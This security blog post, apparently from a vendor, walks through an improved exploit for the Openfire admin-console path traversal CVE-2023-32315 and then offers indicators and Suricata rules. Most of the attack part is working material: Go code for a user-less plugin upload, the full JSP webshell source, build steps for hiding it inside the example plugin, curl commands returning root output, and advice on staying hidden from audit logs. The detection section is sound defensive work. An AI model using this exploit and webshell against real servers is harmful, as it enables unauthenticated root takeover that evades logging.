Introduction
CVE-2023-32315 is a path traversal vulnerability affecting the Openfire admin console. Openfire is a well-known open-source chat server, and according to the current maintainers, Ignite Realtime, the server software has been downloaded almost 9 million times.
This vulnerability has flown under the radar on the defensive side of the industry. CVE-2023-32315 has been exploited in the wild, but you won’t find it in the CISA KEV catalog. There has also been minimal discussion about indicators of compromise and very few detections (although to their credit, Ignite Realtime put out patches and a great mitigation guide back in May).
On the offensive side, things have been more robust. You can find quite a few public exploits. There are some major differences between these exploits, but generally, they all follow a simple pattern: Use the path traversal to create an administrative user, log in, and then upload a plugin to achieve code execution. This process is typically manual, although Metasploit uploads the plugin programmatically).
What’s particularly interesting about this is that creating the administrative user isn’t necessary, but it’s re-implemented over and over again. Worse, not only is it not required, but it significantly increases the amount of logging the attacker introduces.
In this blog, we’ll demonstrate an improved exploit for CVE-2023-32315, learn how to craft an Openfire plugin webshell, examine indicators of compromise, and share network detections.
Real World Impact
To start, we want to establish that this vulnerability is still prevalent in the wild. At the time of writing, we see approximately 6,300 servers on Shodan. Censys shows a bit more, but it doesn’t follow the redirect to
Openfire exposes the installed version on the login page. To determine just how widely exploitable this vulnerability is, we did a version scan of the servers on Shodan. Openfire put out three patched versions: 4.6.8, 4.7.5, and 4.8.0. Approximately 20% of the servers had upgraded to those versions.
Openfire Versions Indexed by Shodan
This doesn’t mean the remaining 80% are using affected versions. Openfire says the first affected version is 3.10.0, released in April 2015. Any version released before then is not vulnerable, and these older versions make up nearly 25% of the internet-facing Openfire servers. Of those, the most popular version is 3.7.1,released in 2011. You could assume those are mostly honeypots, but we can’t be sure.
We found there are a variety of Openfire forks that may or may not be vulnerable, making up about 5% of the internet-facing servers. This leaves approximately 50% of the internet-facing Openfire servers using affected versions. While that’s only a few thousand servers, it's a decent number given the server’s trusted position associated with chat clients.
Impacts of a User-less Exploit
Current public exploits start by using the traversal to reach
username := generateRandomString(6)
password := generateRandomString(6)
createUserUrl := fmt.Sprintf("%s/setup/setup-s/%%u002e%%u002e/%%u002e%%u002e/user-create.jsp?csrf=%s&username=%s&name=&email=&password=%s&passwordConfirm=%s&isadmin=on&create=%%E5%%88%%9B%%E5%%BB%%BA%%E7%%94%%A8%%E6%%88%%B7", t, csrf, username, password, password)
res, err = rawhttp.Get(createUserUrl)
m := map[string][]string{"Cookie": {"JSESSIONID=" + jsessionid, "csrf=" + csrf}}
res, err = rawhttp.DoRaw("GET", createUserUrl, "", m, nil)
if err != nil {
fmt.Println(err)
return
}
Note that
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=5QQN6JwEVq9LIW1&username=hqvvvarefibpfx&password=Qm7y4eZgU9&passwordConfirm=Qm7y4eZgU9&isadmin=on&create=Create%2bUser HTTP/1.1
Host: 10.9.49.143:9090
User-Agent: Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1
Cookie: JSESSIONID=node06x26aqm77cqelg1crrhtstts10.node0; csrf=5QQN6JwEVq9LIW1
Content-Type: application/x-www-form-urlencoded
These exploits are creating an admin user to gain access to the Openfire Plugins interface. The plugin system allows administrators to add, more or less, arbitrary functionality to Openfire via uploaded Java JARs.
This is, very obviously, a place to transition from authentication bypass to remote code execution.
The tangxiaofeng7 exploit repository contains an Openfire plugin with a JSP webshell. Once the attacker has created administrative credentials, they can log in, upload tangxiaofeng7’s plugin, and gain access to a webshell. Similarly, the Metasploit module’s plugin is uploaded but initiates a reverse shell instead of a webshell.
Real-world attackers have followed this approach as well. For example, we know the Kinsing botnet likely followed this approach based on comments from the Ignite Realtime forums.
Fortunately for defenders, the admin user creation is noisy. Another user on the forum posted the Openfire security audit log after they’d been exploited (note that the audit log doesn’t disappear just because the system log file has been deleted):
Unfortunately for defenders, attackers don’t need to create a user or authenticate to upload a plugin. CVE-2023-32315 gives the attacker access to
func uploadWebshell(conf *config.Config, token string, session string) bool {
// webshell is uploaded as a multipart upload
var multipartFile bytes.Buffer
writer := multipart.NewWriter(&multipartFile)
header := make(textproto.MIMEHeader)
header.Set("Content-Disposition", `form-data; name="uploadfile"; filename="exampleplugin.jar"`)
header.Set("Content-Type", "application/x-java-archive")
// copy the webshell into the writer
filedata, _ := writer.CreatePart(header)
_, _ = io.Copy(filedata, strings.NewReader(webshell))
writer.Close()
// upload it
headers := map[string]string{
"Cookie": fmt.Sprintf("JSESSIONID=%s;csrf=%s", session, token),
"Content-Type": writer.FormDataContentType(),
}
// create a normal request. Go does not like the %u in their standard req, so create a
// normal request and then insert the malformed URI into the URL struct
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
client, req, err := protocol.CreateRequest("POST", url, multipartFile.String(), false)
if err {
return false
}
req.URL.Opaque = "/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin&csrf=" + token
protocol.SetRequestHeaders(req, headers)
resp, _, ok := protocol.DoRequest(client, req)
if !ok {
return false
}
if resp.StatusCode != 500 {
output.PrintfError("Expected 500 response: %d", resp.StatusCode)
return false
}
return true
}
As you can see, we are just uploading the plugin JAR via a POST request (and working around a bit of Go-foolishness associated with the
curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=whoami"
This approach keeps login attempts out of the security audit log and prevents the “uploaded plugin” notification from being recorded. That’s a pretty big deal because it leaves no evidence in the security audit log. For example, this is the security audit log for a system we exploited:
As you can see, there is absolutely nothing to indicate anything is amiss.
The actual openfire.log file tells a different story (depending on your installation, it may be found at
2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.handler.ContextHandler.ROOT - Unhandled exception occurred whilst decorating page java.lang.NullPointerException: Cannot invoke "org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
2023.08.18 17:19:49 [33mWARN [m Jetty-QTP-AdminConsole-39: org.eclipse.jetty.server.HttpChannel - /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp java.lang.NullPointerException: Cannot invoke "org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
Unfortunately, an attacker could use the path traversal to delete the log file. Depending on the permissions of the Openfire user, the attacker might be able to delete the log file via the webshell/reverse shell,which leaves the plugin itself as the only artifact that indicates exploitation. This is why it's important to know how one is crafted when analyzing a system that might have been exploited.
We were very lazy when crafting our plugin. We just used the Openfire example plugin. The only modification we made was to
<%
String cmd = request.getParameter("cmd");
if ( cmd != null) {
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
String line = in.readLine();
if (line != null) {
response.setHeader("X-Error", line);
}
} %>
The real challenge was figuring out how to compile the thing (it probably should have been obvious, and we think we even came to a wrong conclusion… but it works). Our process roughly worked out to:
git clone https://github.com/igniterealtime/openfire-exampleplugin.git
cd openfire-exampleplugin
cp ../webshell.jsp ./src/main/web/exampleplugin-page.jsp
mvn -B package
cp ./target/exampleplugin.jar exampleplugin.zip; zip -ur exampleplugin.zip ./plugin.xml ./readme.html; mv exampleplugin.zip ./target/exampleplugin.jar;
Once uploaded, the plugin looks exactly like the example plugin would. The only difference is that it has our webshell in it.
As previously mentioned, the attacker is free to use the webshell without authentication by using the traversal. However, using the traversal causes an exception and a stack trace to be dumped to standard out, preventing the webshell from presenting any content via the HTTP response body.
Looking back at our webshell, you can see that we send all command output to an HTTP header. Which means even though accessing the webshell via the path traversal generates a huge error message, we can still execute and view arbitrary commands:
albinolobster@mournland:~$ curl -v "http://10.9.49.143:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id"
* Trying 10.9.49.143:9090...
* TCP_NODELAY set
* Connected to 10.9.49.143 (10.9.49.143) port 9090 (#0)
> GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugins/exampleplugin/exampleplugin-page.jsp?cmd=id HTTP/1.1
> Host: 10.9.49.143:9090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 18 Aug 2023 17:20:01 GMT
< X-Frame-Options: SAMEORIGIN
< Content-Type: text/html
< Set-Cookie: JSESSIONID=node07guewb33cw4m1va20g1n0okxd6.node0; Path=/; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Error: uid=0(root) gid=0(root) groups=0(root)
< Content-Length: 6335
<
From there you can trivially pivot inward, remove the webshell, and hide within the system. All without creating the administrative user and making a mess in the log files.
Detections
Any good attacker should know how to detect as well. VulnCheck is particularly interested in network-based detections. Detecting this attack on the wire isn’t too complicated, but there is some nuance.
Suricata correctly normalizes the
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt"; \
flow:established,to_server; \
http.uri.raw; content:"/setup/setup-s/"; startswith; \
http.uri; content:!"/setup/setup-s/"; startswith; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701381; rev:1;)
The problem is that it's really easy to bypass. For example, if the attacker just started the URI with
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Account)"; \
flow:established,to_server; \
http.uri.raw; content:"setup"; \
content:"setup-s"; distance: 1; \
content:"%u002e"; distance: 1; \
content:"user-create.jsp"; distance: 1; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701382; rev:1;)
alert http any any -> any any ( \
msg:"VULNCHECK Openfire CVE-2023-32315 Exploit Attempt (Plugin)"; \
flow:established,to_server; \
http.uri.raw; content:"setup"; \
content:"setup-s"; distance: 1; \
content:"%u002e"; distance: 1; \
content:"plugin-admin.jsp"; distance: 1; \
reference:cve,CVE-2023-32315; \
classtype:web-application-attack; \
sid:12701383; rev:1;)
Detection after exploitation is much more challenging since the attack, if done correctly, can entirely avoid the security audit log. The next best source of truth is any new/unexpected plugins on the system. Generally, however, someone will need to look at that with a Java decompiler, which isn’t useful for a layperson.
The final source to examine is probably the
"org.jivesoftware.openfire.user.User.getUsername()" because the return value of "org.jivesoftware.util.WebManager.getUser()" is null
Summary
In this blog, we demonstrated a new way to exploit CVE-2023-32315. This method avoids creating an admin user and bypasses some important security logging. Given that, we identified potential areas to identify compromise (JAR file,
This vulnerability has already been exploited in the wild, likely even by a well-known botnet. With plenty of vulnerable internet-facing systems, we assume exploitation will continue into the future.
Learn More
If you are as interested in exploits as we are, register for a VulnCheck account today by clicking “Sign in / Join Community and schedule a demo to learn more.